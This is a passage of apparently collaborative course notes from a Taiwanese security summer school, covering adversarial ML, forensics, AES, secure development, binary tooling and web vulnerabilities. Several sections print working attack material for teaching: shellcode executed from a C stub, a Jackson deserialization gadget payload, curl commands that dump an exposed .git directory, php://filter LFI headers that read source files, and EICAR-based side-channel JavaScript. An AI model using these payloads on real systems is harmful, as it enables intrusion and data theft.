- How to generate adversarial examples?
- The "white-box" attack -- transparency to adversary
> 攻擊者明確知道模型、參數是什麼
> 攻擊點: 反向傳遞演算法 back-propagation
>
- 以最小的擾動產生相異結果
- $$ \text{Minimize } Distance(x_0, x_0+\delta) $$
such that $Prediction(x_0) \neq Prediction(x_0+\delta)$
(untargeted attack)
- How about attacking AI/ML systems with **Limited Access**?
- [Black-box Adversarial Attacks with Limited Queries and Information](https://arxiv.org/abs/1804.08598)
- A practical "black-box" attack -- only can observe IO;
zero knowledge about the model, training data.
- No back propagation
- Estimate the gradient using input
- 增加小的擾動,看輸出的變動大小,判斷各個像素的權重
- $\displaystyle{\frac{\partial f(x_i)}{\partial x_i} \approx \frac{f(x_i + \varepsilon) - f(x_i - \varepsilon)}{2 \varepsilon}}$
- 質疑:黑盒攻擊如果沒有給信心度(只給 Top1 choice),還是可以攻擊嗎?
*Is Label-Only black-box attack possible? Yes!*
- 在兩圖片之間算內插(?),找到一個可以接受的 adversarial example
- 訊息較少 -> 所需 query 數較多
- [signSGD via Zeroth-Order Oracle](https://openreview.net/forum?id=BJe-DsC5Fm)
- [Structured Adversarial Attack: Towards General Implementation and Better Interpretability](https://arxiv.org/abs/1808.01664)
- 如何讓 AI 判斷某個特徵的不存在是重要的
- Pertinent Positive (PP)
- Pertinent Negative (PN)
### Adversarial Defense
- Learning to classify is all about drawing a line
- What we want?
- find a defense that attacker wouldn't break after knowing it
### CLEVER
- [CLEVER](https://github.com/IBM/CLEVER-Robustness-Score)
- 評價一個神經網路穩定性的工具
- 使用前與使用後的比較
- 假設我使用 X, 模型能夠變得更穩定嗎
- 其他案例
- 描述 adversarial examples 的特徵以及行為
- Hyperparameter 的選擇機制
- 獎勵機制回饋
- http://bigcheck.mybluemix.net
### Tools
- [cleverhans](https://github.com/tensorflow/cleverhans)
- [Adversarial Robustness Toolbox (ART v0.10.0)](https://github.com/IBM/adversarial-robustness-toolbox)
- [Foolbox](https://github.com/bethgelab/foolbox)
### Demo
[Site](https://art-demo.mybluemix.net/)
## 7/31(三)09:30 - 12:30
:::success
主題 : [Forensics] 利用數位鑑識分析手法找出入侵根因
王歆綺
:::
> 檔案password
> VM: forensics
> IR-Tools: IR-Tools
> 有沒有看過柯南 >_<
> [name=歆綺]
- 數位鑑識
- 找出受害電腦的入侵原因
- 重灌是否能解決駭客入侵
- 付錢是否可以救回檔案
> 底下都是攻擊方比防守方多吧 [name=歆綺]
> 你如果會防守你就會打別人(?
- 鑑識報告
- 什麼事件
- 誰做的
- 什麼時間
- 檔案路徑 or 沒檔案
- 怎麼放的
- 攻擊對象是誰
| 消逝型資料鑑識分析 | 非消逝型資料鑑識分析 | 鑑識報告 |
| --------------- | ---------------- | ------- |
| TIME | Timeline | Event |
| Registry | File name layer | Who |
| Network | Metadata layer | When |
| Process | Data layer | Where |
| Memory | Malware | Target |
| Fileless | | How |
### IR(Incident Response) 事件回應六大程序
- 如何發現異常
- 1% | 2% 的不正常
- IR 六大程序
- 前置作業
- 識別事件類型
- 記憶體分析
- 時間軸分析
- 檔案系統分析
- 資料復原
- 情報蒐集與分析
- 補救措施
- 長期復原
- 持續控制減緩
* Identification
* 目的
* 識別系統發生何種事件
* 對系統資訊做描述
* 蒐集證據,維持證據完整性
* e.x. 個人或部分或組織或全組織之系統被 compromise ; 或是經由 Web, AP , E-mail 等途徑之判別
* 作法
- 檔案時間
- Modification time
- Access time
- Birth time
- Create time
- 用時間排序
- 無檔案攻擊 fileless
- 參數有問題不是程序本身有問題
- 用 processdump 無用
- 要怎麼解決哪個參數有問題
- 鑑識軟體
- cobalt strike
- rootkit
- FTK
- Encase(.E01)
- dd
- 實體/邏輯 的disk
- `dd.exe 建立 raw image file`
| Name | Windows | Linux/Unix baseinux |
| -------- | -------- | -------- |
| Physical | `\\.\PhysicalDrive0` | `/dev/hda`<br>`/dev/sda` |
| Logical | `\\.\C:` | `/dev/hda1`<br>`/dev/sda1` |/
`$ dd if =\\.\C:of =F:\file\c_drivedump.img`
#### Mounting Image
`#mount_ewf.py imageName.e01`
`#mount -o`
#### 消逝型資料採證工具
- Registry
- RegRipper
- YARU
- deleted.pl
- autoruns.exe -a autorunslnfo.am
- Network & Time
- #date /time/t > systemTime.txt
- #ipconfig | find "IPv4" > ipInfo.txt
- netstat -an > netstatInfo.txt (-o process id)
- netstat -rn > netstatRouteInfo.txt
- arp -a > arpInfo.txt
- Log
- User Profile
- nbtst -n -c -s > nbt-info
- Update version gathering
- Hive file
HKLM\SAM %SystemRoot\System32
非消逝型資料採證工具
wireshark
#### 電腦鑑識
- How to guess
- 可能的進入點
- 攜帶型裝置
- 隨身碟
- CD / DVD
- 手機
- WEB
- 惡意網頁
- 釣魚
- E-mail
- Local
- Web
- 社群軟體
- Line (佛心公司,不掃毒)
- FB
- WeChat
> 打死都不用 HITCON WiFi [name=王歆綺]
- 察覺異常
- Event Log
- Security
- System
- Application
- Network active
- netstat
- Nirsoft-
- NetworkTrafficView
- Process
- Process Monitor
- Porcess Explorer
- Registry
- Autorun
- File Timeline
- 如何時間判斷 log 異常
- 時間
- 次數
- 頻率
- 關係
service crash後很有可能被SEH
#### 異常行為歸納
程式名稱|類型|行為現象
---|---|---|
cmd.exe|execution|provides command-line access
rar.exe|Execution presence of .rar files|Difficult to crack archiving look for data ex..?
at.exe schtasks.exe|execution| Used for privilege escalation and persistence|
PsExec PsLoggedOn ProcDump|Existence of sysintermals tools|(1)Provide remote execution,(2)Interaction logon enumeration,(3)Dumping of credenttials within lsass.exe address space respectively|
wmic.exe powershell.exe winm.vbs|execution|Used for remote execution|
net.exe|execution Used for mapping drivers for lateral movement and enumerating groups like "Domain Admins"
reg.exe sc.exe|execution|Add presistence such as Run keys or services|
MountPoints2 | Registry key|Records shares on remote systems|
.job|Files in C:\Windows\Task|Related to odd application executions|
#### 記憶體分析-大綱
- 記憶體分析原因
Samba弱點
[Ransomware](https://en.wikipedia.org/wiki/Ransomware)
[Rensenware](https://malware.wikia.org/zh/wiki/Rensenware)(?)
WannaCry -> MS17-010
VMware `.vmem` 為 Guest 記憶體檔案
#### 記憶體分析- Process 分析
- Image Name
- Full path
- Parent Process
service的媽媽 —> wininit
![](https://i.imgur.com/VCI0e5Z.png =500x)
hint1 從 Process 下手
#### 機碼
**用 Autoruns 看**
- 自動啟動的程式會把自己加到機碼裡:
- HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
- 修改暫存器的程式一般會在 system32 內、若是自己安裝的會在 program file,從路徑可以猜測是否為可疑程式 - autorun 看到的 timestamp 是該程式最初被建立的時間;程式的修改時間是在該電腦最近一次的執行時間 ![](https://i.imgur.com/wCU04nN.png =x400) - 四大分析 - 檔案分析 - 機碼值 - autoruns - 程序活動 - 網路
- netstat
- wireshark
- 操作
- `vol.py -f 檔案 pslist`
- `vol.py -f 檔案 --profile=<找出的作業系統>`
https://github.com/bytecode77/r77-rootkit
## 7/31(三)14:00 - 17:00
:::success
主題:Cryptograph and Cryptanalysis
Advanced Encryption Standard, AES
陳君朋 博士 中央研究院
Files
- [Hardware Security Slides](http://file.inner.ais3.org/20190729_For_AIS3_JP_01_Hardware_Security.pdf)
- [Crypto and AES Slides](http://file.inner.ais3.org/20190729_For_AIS3_JP_02_Cryptography_and_AES.pdf)
- [SCA Slides](http://file.inner.ais3.org/20190729_For_AIS3_JP_03_SCA.pdf)
- [Rijndael cipher animation](http://file.inner.ais3.org/Rijndael_Anim.zip)
:::
### 硬體安全
> 台下怎麼那麼安靜
> 老師問,會python的舉手(全場靜默),老師問,不會python的舉手(全場靜默),老師問沒舉手的舉手(全場舉手)
https://arstechnica.com/information-technology/2016/09/iphone-5c-nand-mirroring-passcode-attack/
https://www.cl.cam.ac.uk/research/security/posters/sps32-iphone.pdf
https://www.cl.cam.ac.uk/~sps32/
difference between Verilog(FPGA) and C(software??)
- speed(?)
### 硬體安全 vs. 硬體信任
[trust zone](http://www.cash.idv.tw/wordpress/?p=6620)
> 太好了!大家都不知道~
> 沒關係,我今天沒有要講這個 ヽ(●´∀´●)ノ [name=陳君朋]
### 密碼學
* 對稱式
* block cipher
* stream cipher
* 非對稱式
* Diffie–Hellman
* protocol
- 目前沒辦法以**數學方式證明**一種加密方式不可能被破解
> 如果有人說可以用數學證明不可能,那就是假新聞 [name=陳君朋]
- 唯一的方法是嘗試破解 (然後失敗)
~~可撥的密碼鎖~~
> 不要隨便從網路上 (e.g. GitHub) 下載加密算法 [name=陳君朋]
* 暴力破解
![](https://i.stack.imgur.com/ejLah.png)
> 因為密碼學家都會杞人憂天,所以基本上都會倡導使用長一點的金鑰避免量子電腦問世之後的問題
[name=陳君朋]
http://www.formaestudio.com/rijndaelinspector/archivos/Rijndael_Animation_v4_eng.zip
{%youtube gP4PqVGudtg %}
- 大多攻擊都發生在 Byte Substitution Layer ,因為這是整個 AES 裡的唯一非線性層
- AES範例測資解答: 69c4e0d86a7b0430d8cdb78070b4c55a
**報告主題關鍵字參考**
- Machine learning for SCA
- Meltdown and spectre
- side-channel analysis
## 8/1(四)09:30 - 12:30
:::success
主題:An Overview of Secure Software Development Lifecycle (SDLC)
Ty Lee Verizon Media
:::
> 如果講得不好,是你們問得不好 0.0
> CIA 粉重要!
[name=Ty Lee]
* 資安部門
* Blue Team
* 產品資安
* 公司內部 infrastucture 安全
* Network Security
* Security Engineering
* GRC
* Governance 治理
* Risk 風險
* Compliance 合規
* 滿足政府與業界 policy
* 比較偏 management
* Red Team
* Offensive Security
* 就負責攻擊的,透過攻擊找到公司產品或內部漏洞
* 部分是比較偏研究性質
* Security Engagement
* 內部訓練
* 和供應商合作
* Cyber Defense
* Incident Dectection & Response
* Ecrime, 內部攻擊
* 偏 forensics 的東西
* Software Development Life Cycle
* 軟體還沒上線前就先抓漏洞 / 避免漏洞
* Analyzing Requirement
* Defining
* 把軟體規格轉成工程設計
* Designing
* Implementing
* Testing & Verifying
* Deploying & Monitoring & Alerting
* How to Construct Software
* Conventional
* Scheduled
* Manual
* Long release time
==臨時需要修改時彈性不佳,且無法作完整測試==
* Preferred
* CI/CD
* Fully automated
* Fast iterations
* CI/CD Pipeline
* Build
* PR Build
* Component Build
* Canary Build
* Package
* Deploy
* Test
---
* Security Review for Design
* Security control
- Countermeasures to detect, minimize, counteract or avoid security risks
- Protect the CIA triad of information
- Confidentiality
- Integrity
- Availability
* identify threats - Threat Modeling
* who are the attackers?
* what are the targets?
* how will the product be attacked?
* threat modeling with "STRIDE"
* **S**poofing
* 偽造身分,假冒另外一個使用者的身分
* The act of posing as someone else or faking an identity
* DEFENDING : 增加身分限制、驗證
* **T**ampering
* 竄改,改變資料,達到資料汙損
* Malicious modification of data or processes
* example: 修改遊戲存檔
* **R**epudiation
* 否認,隱匿蹤跡,讓受害方無法追蹤駭客的蹤跡
* The ability to deny an event or an action that has happened
* example: 銀行收據做 Audit
* **I**nformation disclosure
* 資料揭露,允許未授權的人取用敏感資訊
* Data leak or data breach
* example: Http 以明文傳輸
* **D**enial of service
* 服務阻斷,讓資源耗竭(如網路頻寬、運算能力)
* Causing a service or a network resources to be unavailable to its end users
* example: DDoS
* **E**levation of Privileges
* 特權提升,不具有特權的使用者取得特權存取
* Gaining elevated access
* example: 錯誤的檔案權限設定
* review ESIS design
1. identify scope
- Component
- Functionality
3. review security overview & diagram
- Review security controls
- Review identified threats and attributes
- Review countermeasue design
* Secure Coding
* what's trust boundar
* a boundary where program data or execution changes its level of "trust"
* validation & santization
* canonicalization & normalization
* **is order important?**
what happened if we do validation then canonicalization?
* confidential information
* purge sensitive information from exceptions
* e.g. file name in FileNotFoundException
* shouldn't include stack trace in http response
* should do output sanitization at trust boundaries
* Never log highly sensitive information
* should santitize the data to be logged
* purge sensitive data after use
* purge sensitive data from memory once after use
* e.g. secret key, credit card number
* why? -> possibility of appearing in come dumps, debugging and confidentiallty attacks
- In C, zero the memory before calling free()
* persistent storage for sensitive data
* how to store sensitive data in persistent storage?
* user password
* hash + salt
* see OWASP passwpord storage cheatsheet
* DB password, private key, etc...
* store in HSM (Hardware secur)
* use SoftHSM
* use external key management service (e.g. AWS KMS)
* Credit card
* Serialization & Deserialzation
* e.g. Jackson Deserialization Vulnerablity ([example](https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2018/jackson_deserialization.pdf) (on page.8))
* Java Object < - > JSON
* Polymorhism support
* Serialize objects with type info
* {"animal": [**"com.test.Dog"**, {"name": "i'm dog"}]}
* how can attack happen?
* Class Templatesimpl of Apache Xalan
* mitigation
* don't deserialize from untrusted source
* don't use jackson's default typing functionality
* code review
* why?
* avoid breaking logic
* make other know what's being changed
* how?
* write test first
* always create PR for changes
* never push to master
* reuqire approvals before merge
* e.g. 2 approvals
* automatically run unit test, function test, check style, etc.
* write tests before implementation
* Vulnerablity Scanning
* 為什麼要 scanning
* 沒嚴格遵守 Security Guideline
* 工程師故意埋漏洞
* SAST(Static Application Secruity Testing)
* non-runtime
* 從 source code 判斷猜測行為並找有沒有潛在漏洞與惡意程式
* Pros
* high coverage
* give early feedback
e.g. integrated into IDE or GitHub PR review
* Cons
* High false positive rate
* 高誤判率
* Language Dependent
* Examples
* Flawfinder, Spotbugs, Veracode, Checkmarx
* DAST(Dynamic Application Security Testing)
* runtime
* 檢查一連串已知的漏洞來確定我的網站是安全的
* **黑箱測試** 僅檢查輸入輸出而不管內部流程
* Paradigm : docker for zaproxy
* DAST false positive
* SQL injection
* which status code should be retured?
* 200, 404, 500?
* 回傳 200 的話, scanner 或許會認為 SQL query 有被成功執行,造成誤判
* Pros
* language indenpendent
* 不依賴特定語言
* Cons
* Spacial input data is required
* Low coverage(因為只能觀察到由input產生的行為和反應)
* examples
* OWASP Zed Attack Proxy (ZAP), Burp Suite, Arachni
* Security of 3rd Party Software
> 不是你寫的程式,但是你想要拿來用
* examples :
* event-stream on NPM
* ~ 1.3M weekly downloads
* ~1600 direct dependents
* azure-cli
* ps-tree
* copay ⬅️ the victim
* code different from GitHub and NPM
* encrypted malicious code
* newly released versions(只想要影響當前的版本)
* Manage your dependencies
* lockfile, checksum
* [Semantic Versioning](https://semver.org)
* ~3.3.2:只要符合 3.3.X 都行
* ^3.0.2:只要符合 3.X.X 都行
* dependency check
* 將 lockfile 中的套件與資料庫比對
* Scan on your dependencies
* Patch management - Time is Everything
* Patch management on the pipeline <- (Nearly) Immediately
* Patch a security fix to thousands of servers <- Manually? No.
* Patch a security fix to millions of mobile devices <- notify your users and pray
* Patch Management on the Pipeline
-stage-> patch -> functest -> depoly -prod-> deploy
* **THINK TWICE BEFORE YOU INSTALL**
* 一兩個函式有需要用別人的套件嗎
> 找值得信任的更新版本
[name=Ian]
* Security Review for Implementation
* why?
* activities
* follow-ups from previous activities
* source code review / scan (manual / automation / hybird)
* scanning
* ensure the list of repo is complete and setting is correct
* manual review
* different angles
* input validation
* secure coding guidelines
* OWASP top 10
* sensitive feature / mechanism
* sensitive data
* compliance requirements
* language specific
* forms of review-walkthrough
* dynamic application scan or test
* ensure the entry point list is complete
* admin tool
* different of access
* authentication issue
* 3rd party review
* denpendency
* integration protocol
* outsourcing
* service provider
* configuration review
* checklist
> 鼓勵大家在學校好好認真讀書
> [name=講師]
> 上面要翻成中文ㄇ
> 直接打在英文共筆(?
> 這邊目前跟英文那邊長的差不多
> 兩邊都貼(?
> 先貼,等等再翻譯
>
> 偶英文不好QQ
>
> 坐在後面聽不太到QQ
>> 聽不到就拿兩隻 >_<
```
"org.apache.xalan.xsltc.trax.Templateslmpl",
{
"transletBytecodes":["...yv66vg"],
"transletName":"foo",
"outputProperties":{}
}
```
## 8/1(四)14:00-17:00
:::success
主題:Automatic Binary Analysis
陳仲寬 / Bletchly
:::
[Slide](https://drive.google.com/file/d/1jaO5DEiTHYfM5xcnZRCbXCyKnj7kImXj/view?usp=sharing)
> 裝好 docker 了嗎
> docker 吧
> 開心版IDA Pro
> or ghidra
- 三樣工具(cross platform)
- Keystone
- Capstone
- Unicorn
> 自己寫過 Shellcode 嗎
> 沒有的話就加油,可以問我 [name=講師]
### Keystone
> The Ultimate Assembler
> http://www.keystone-engine.org/
* 優點
* Cross platfrom
* Automatic mutate shell code -> API
```python=
from keystone import *
# separate assembly instructions by ; or \n
CODE = b"INC ecx; DEC edx"
try:
# Initialize engine in X86-32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
print("%s = %s (number of statements: %u)" %(CODE, encoding, count))
except KsError as e:
print("ERROR: %s" %e)
```
Output:
```
b'INC ecx; DEC edx' = [65, 74] (number of statements: 2)
```
* 應用
* 產生 shellcode
* Malware mutation
* Binary patch
* [Keypatch](http://www.keystone-engine.org/keypatch/)
https://drive.google.com/drive/folders/1CB_4z5KTWoMO50lDOoNOZUSHxOf_BWGI
run shellcode in c example
```c=
const char shellcode[] =
"\x31\xc0\x50\x48\x8b\x14\x24\xeb\x10\x54"
"\x78\x06\x5e\x5f\xb0\x3b\x0f\x05\x59\x5b"
"\x40\xb0\x0b\xcd\x80\xe8\xeb\xff\xff\xff"
"/bin/sh";
int main(int argc, char *argv[]) { return ((int (*)())shellcode)(); }
```
compile `gcc -fno-stack-protector -z execstack test.c -o test`
if you get `Segment Fault` use `-m32`
```
# Install multi-arch
sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install -y gcc-multilib
```
### Capstone
> The Ultimate Disassmebler
> http://www.capstone-engine.org/
* 優點
* 跨平台
* API
> PowerShell 萬惡的根源 [name=陳仲寬]
```python=
from capstone import *
CODE = b"\x55\x48\x8b\x05\xb8\x13\x00\x00"
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(CODE, 0x1000):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
```
Output:
```
0x1000: push rbp
0x1001: mov rax, qword ptr [rip + 0x13b8]
```
* http://shell-storm.org/shellcode/
* shellcode database: http://shell-storm.org/shellcode/
### Unicorn
> CPU emulator
> https://www.unicorn-engine.org/
* 模擬CPU執行
* 應用
* emulate shellcode
* dynamic analysis
* partially executing malware
* Sample Code
```pyhton=
from __future__ import print_function
from unicorn import *
from unicorn.x86_const import *
# code to be emulated
X86_CODE32 = b"\x41\x4a" # INC ecx; DEC edx
# memory address where emulation starts
ADDRESS = 0x1000000
print("Emulate i386 code")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32)
# initialize machine registers
mu.reg_write(UC_X86_REG_ECX, 0x1234)
mu.reg_write(UC_X86_REG_EDX, 0x7890)
# emulate code in infinite time & unlimited instructions
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32))
# now print out some registers
print("Emulation done. Below is the CPU context")
r_ecx = mu.reg_read(UC_X86_REG_ECX)
r_edx = mu.reg_read(UC_X86_REG_EDX)
print(">>> ECX = 0x%x" %r_ecx)
print(">>> EDX = 0x%x" %r_edx)
except UcError as e:
print("ERROR: %s" % e)
```
* Output
```
Emulate i386 code
Emulation done. Below is the CPU context
>>> ECX = 0x1235
>>> EDX = 0x788f
```
#### Emulate shellcode
> TODO
#### Hook Instruction
#### Hook Code Block
#### Hook Interrupt
---
### Ghidra
> shadowhammer.zip
> password: 12345
> 看來到這裡 是沒有人跟上了 [name=陳仲寬]
> 看來Angr 完全犧牲了...
> 自己看投影片 有問題晚上問我 0.0 [name=陳仲寬]
## 8/2(五)09:30 - 12:30
:::success
主題:Product Security in Practice
Ken Lee
:::
Heartbleed
shellshock
sambacry
* Synology Inc.
* Founded in 2000
* Network attached storage
* NAS = Networking + Application + Storage
* Synology Scale
* Over 6M servers up and running today
* Running 57M applications
* Managing 870K connections to Synology cloud
* Securing tens of EB of data and peace of mind
* PSIRT
The Synology **P**roduct **S**ecurity **I**ncident **R**esponse **T**eam(PSIRT) is dedicated to managing the receipt, investigation, coordination and public reporting of security vulnerability information related to Synology products.
### Bounty Program
* To engage with hacker communities
* 950+ Synology proprietary repos
* 50M+ lines of proprietary sources
* No resource to build a Red Team (yet)
#### Lessons Learned
* Never trust inputs w/o sanitization
* RTF^HHM before committing patches
* Security-by-design & by-default are required
* Security is as important as UX
* Supply-chain security
### Strategy Approach
* Incident-Driven (臨時抱佛腳)
* Top-Down (pre-planned, vision-driven)
* Bottom-Up (structured)
* 從零散系統一個一個做好,再往上推,進而完善整個系統
* Toss-a-Softball-In-The-Bushel-Basket (亂槍打鳥)
### PSIRT's DAY
- Vulnerablity review (9:30)
- Incident response (11:00)
- Severity rating (14:00)
- Code review (16:00)
### Vulnerability
- A set of conditions that allows an attacker to violate an explicit or implicit security policy
- Can be software defects, configuration or design decisions, unexpected ... **[ missing ]**
### CVE
- Common Vulnerabilities and Exposures
- Uniquely Identify vulnerabilities
- Get stakeholders on the same page
- Report templates
- [CWE] in [CPE] allows ATTACKERS to have IMPACT via [CAPEC]
- [VULNTYPE] in [COMPONENT] in [VENDOOR] [PRODUCT] [VERSION] allows [ATTACKER] to [IMPACT] via [VECTOR]
- [CVSS 評分工具](https://www.first.org/cvss/calculator/3.0#CVSS:3.0)
### Vulnerability Response
- Part of the large ecosystem of product security
- NOT vulnerability management
> 怎麼讓大家繼續安心的用 123456 做密碼是一個很有趣的問題
> [name=Ken Lee]
> RD最喜歡讓人家injection
> [name=Ken Lee]
>「錢對我來說 非常簡單」
> 我們只要出錢比黑市高就可以了
## 8/2(五)14:00-17:00
:::success
Vulnerability-Web
Without RCE: what can you do?
Ryo Ichikawa
Founder and Captain of TokyoWesterns CTF team
[提問連結](http://slides.app.goo.gl/Esa9G)
[簡報](https://docs.google.com/presentation/d/1UX-yyznroXgXZHK4Zs6m2Nq2furOvxQ0Q9HG3AFemkk/edit)
:::
### Introduction
[Lab 檔案](http://westerns.tokyo/icchy/ais3/dist.tar.gz)
### Unintened file disclosure
- directory index 造成的資料洩漏,透過搜尋特定檔案可取得許多資訊
* 編輯器暫存檔(index.php.swp)
* .git/
* etc...
- lab1: http://lab1.ais3.westerns.tokyo/index.htm
- Solution
```bash=
curl http://lab1.ais3.westerns.tokyo/git_backup/
curl http://lab1.ais3.westerns.tokyo/git_backup/HEAD
curl http://lab1.ais3.westerns.tokyo/git_backup/refs/heads/master
# 53eb21e4b8098bdf094374983b5a35b7213383e0
git init
git http-fetch -a 53eb21e4b8098bdf094374983b5a35b7213383e0 http://lab1.ais3.westerns.tokyo/git_backup/
ls -la
git checkout 53eb21e4b8098bdf094374983b5a35b7213383e0
ls -lat
cat .htaccess
cat todo.md
git log
git log -p
# you got flag!
```
- lab2:http://lab2.ais3.westerns.tokyo/
- F12
```bash=
curl http://lab2.ais3.westerns.tokyo
curl http://lab2.ais3.westerns.tokyo/?page=tokyo -H "accept-language: aaaa"
curl http://lab2.ais3.westerns.tokyo/?page=php: -H "Accept-Language:/filter/read=convert.base64-encode/resource=index"
curl http://lab2.ais3.westerns.tokyo/?page=php: -H "Accept-Language:/filter/convert.base64-encode/resource=flag"
```
- lab3:http://lab3.ais3.westerns.tokyo/?q=[XSS]
- lab4:因為 chrome 改 code,所以消失了(?
https://youtu.be/HcrQy0C-hEA?t=660
- lab5:http://lab5.ais3.westerns.tokyo/source
架設的環境有 windows defender
所以如果有一些 malicious 的 input (如 [EICAR test file](https://en.wikipedia.org/wiki/EICAR_test_file) )
會讓你的檔案無法讀取
此外,若是你的檔案是 html 的話,他也會簡單的 evaluate 你的 javascript
因此,我們可以透過構造 html 與 javascript 來檢查他的 secret message
例如:
```javascript=
var body = document.body.innerHTML;
var eicar = "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H";
var n = body[$idx].charCodeAt(0);
eicar = eicar + String.fromCharCode(n^$c);
eval(eicar);
```
當我們設定的 $c 跟 body 裡存的 xor 起來是 "\*" 的話,之後去讀檔案的時候 windows defender 就會讓你無法讀取
透過知道可不可以讀取檔案(會不會噴500),我們就可以枚舉並計算出來確切的n是多少
或是更甚者,我們可以二分搜來減少時間
```javascript=
var body = document.body.innerHTML;
var eicar = "EICA";
var n = body[$idx].charCodeAt(0);
eicar = eicar + {$c: 'k'}[Math.min($c, n)];
eval(eicar);
```
詳細解法可以觀察lab5裡面的 `poc.py`
## 8/3(六)Final Project
各組同意的話放個簡報連結
<!-- (大家應該都會不小心漏掉各種簡報) -->
### Vulnerability-Web
1. [台灣抓漏小天使 Breach.tw](https://drive.google.com/file/d/1du-6Y3UJxWx8sksiObXCEyh7Hgp3u4mS/view?usp=sharing)
- [網站本人](https://breach.tw)
<!-- 分隔線 -->
3. [Scratchboard](https://www.dropbox.com/s/hq9czt00u71gkcv/)
- [Adobe XD prototype](https://www.dropbox.com/s/xz9xpuwvu0vcrg8/)
- [Early proof-of-concept](https://github.com/mt-hack/scratchboard)
<!-- 分隔線 -->
4. [Possible Attack and Usage on Decentralized Network](https://drive.google.com/file/d/1YD42AER7IOHYMZAxVk856GRBBi-P2dBt/view?usp=sharing)
<!-- 分隔線 -->
5. [ToolBar ](https://docs.google.com/presentation/d/1LWqm4DIUiUagM4_yv6xJzdPdTejW8KOH2ijJdKl1ycg/edit?usp=sharing)
6. [New Epoch of NTR](https://drive.google.com/open?id=1ixw03l60ayEZY__xgEkph80cz8ebokemAtjeWeORJ0E)
### Secure Software Development and Engineering
1. [Network Defense Based On SDN](https://img.sean.taipei/2019/08/ais3-software1.pdf)
<!-- 分隔線 -->
4. [Sensitive Data Processing Application in SDLC](https://img.sean.taipei/2019/08/ais3-software4.pdf)
<!-- Sean: 先暫時丟自己空間,組員傳到別的地方就直接改掉吧 -->
5. [Character Recognition via Behavior Patterns](https://drive.google.com/file/d/1ANJcrkdYOW6fzp1bKldTw4iLTVtJE7NM/view)
[(Github)](https://github.com/kuruwa2/SKRR)
<!-- -->
### National Security
2. [Use OCR to detect turbulent image on facebook](https://drive.google.com/file/d/1nflthhFCQekZYpePBAgh1Vs2Wg6oBNga/view?usp=sharing)
### Reverse Engineering
2. [Secure BootLoader](https://drive.google.com/file/d/1F-Eo5RbeqEpgjo4SDB8DjEMSh9dRTbKL/view?usp=sharing)
## 8/4(日)Final Project
### Cryptoand Cryptanalysis
<!-- ais3{y0u_f0und_7h3_f14g} -->
<!-- 2. [Rubik's Crypto](https://docs.google.com/presentation/d/1RUWIa0pddJinh2yrH1MH9yPMFIacESC9ZEheDf0yZKA/edit?usp=sharing) -->
2. [Rubik's Crypto](https://docs.google.com/presentation/d/1flWhCNntUyXyEoFVzYI0s1nmK-omZx7h/view)
<!-- 分隔線 -->
3. [Backdoors](https://docs.google.com/presentation/d/1EZ3MZc0y-2v1RGBgFnqGCz5OJF7Bl2gozZPzy6dSQao/view)
<!-- 分隔線 -->
4. [Homomorphic Encryption](https://docs.google.com/presentation/d/1t9Wx9EhDkDpe6_GZWxnv7dnHQaiprKrk_aVBR-HkPoc/view)
<!-- 分隔線 -->
5. [Meltdown & Spectre](https://drive.google.com/open?id=1RYWHBgOBpFXlzyJ-e-SSR59R6rYbE7l1)
### IoT and AI Security
1. [Neural network in Encryption & Decryption](https://drive.google.com/file/d/1xtOpAIkwfUoB2I_EHUAYweFsdlCpRC4Q/view?usp=sharing)
<!-- 分隔線 -->
2. [Adversarial Exmaple Generator(AEG)](https://drive.google.com/file/d/11rtwHntLn3xVe50j5DhHfceUT2Hs5Qcp/view?usp=sharing)
<!-- 分隔線 -->
4. [AI Security: Adversarial Attack](https://drive.google.com/file/d/1Arel5qK2YzLCncOBRnknWOOts6YaSk53/view)
### Forensics
2. [Auto YARA Rules Generator](https://docs.google.com/presentation/d/1agM9oAy4NbIR1tEnZAKthaz4OaTc5PkwtNpLsF1WPOM/view?usp=sharing)
<!-- 分隔線 -->
3. [Event Log 可視化與基本分析](https://docs.google.com/presentation/d/1lxpHeWr9U9jz8LPc00TFySs-Gr1efOZktPwlCsrjaIM/edit)
<style>
span.hidden-xs:after {
content: ' × AIS3' !important;
}
ul > li > .mathjax {
overflow-x: scroll;
overflow-y: hidden;
overflow-wrap: break-word;
display: inline-block;
}
#doc > ul:nth-child(36) > li:nth-child(5) > ol > li:nth-child(3) > ul > li:nth-child(3) > ul > li > .mathjax {
width: 100%;
}
ul.nav,div.ui-infobar,div.btn-group{ display:none !important; }
</style>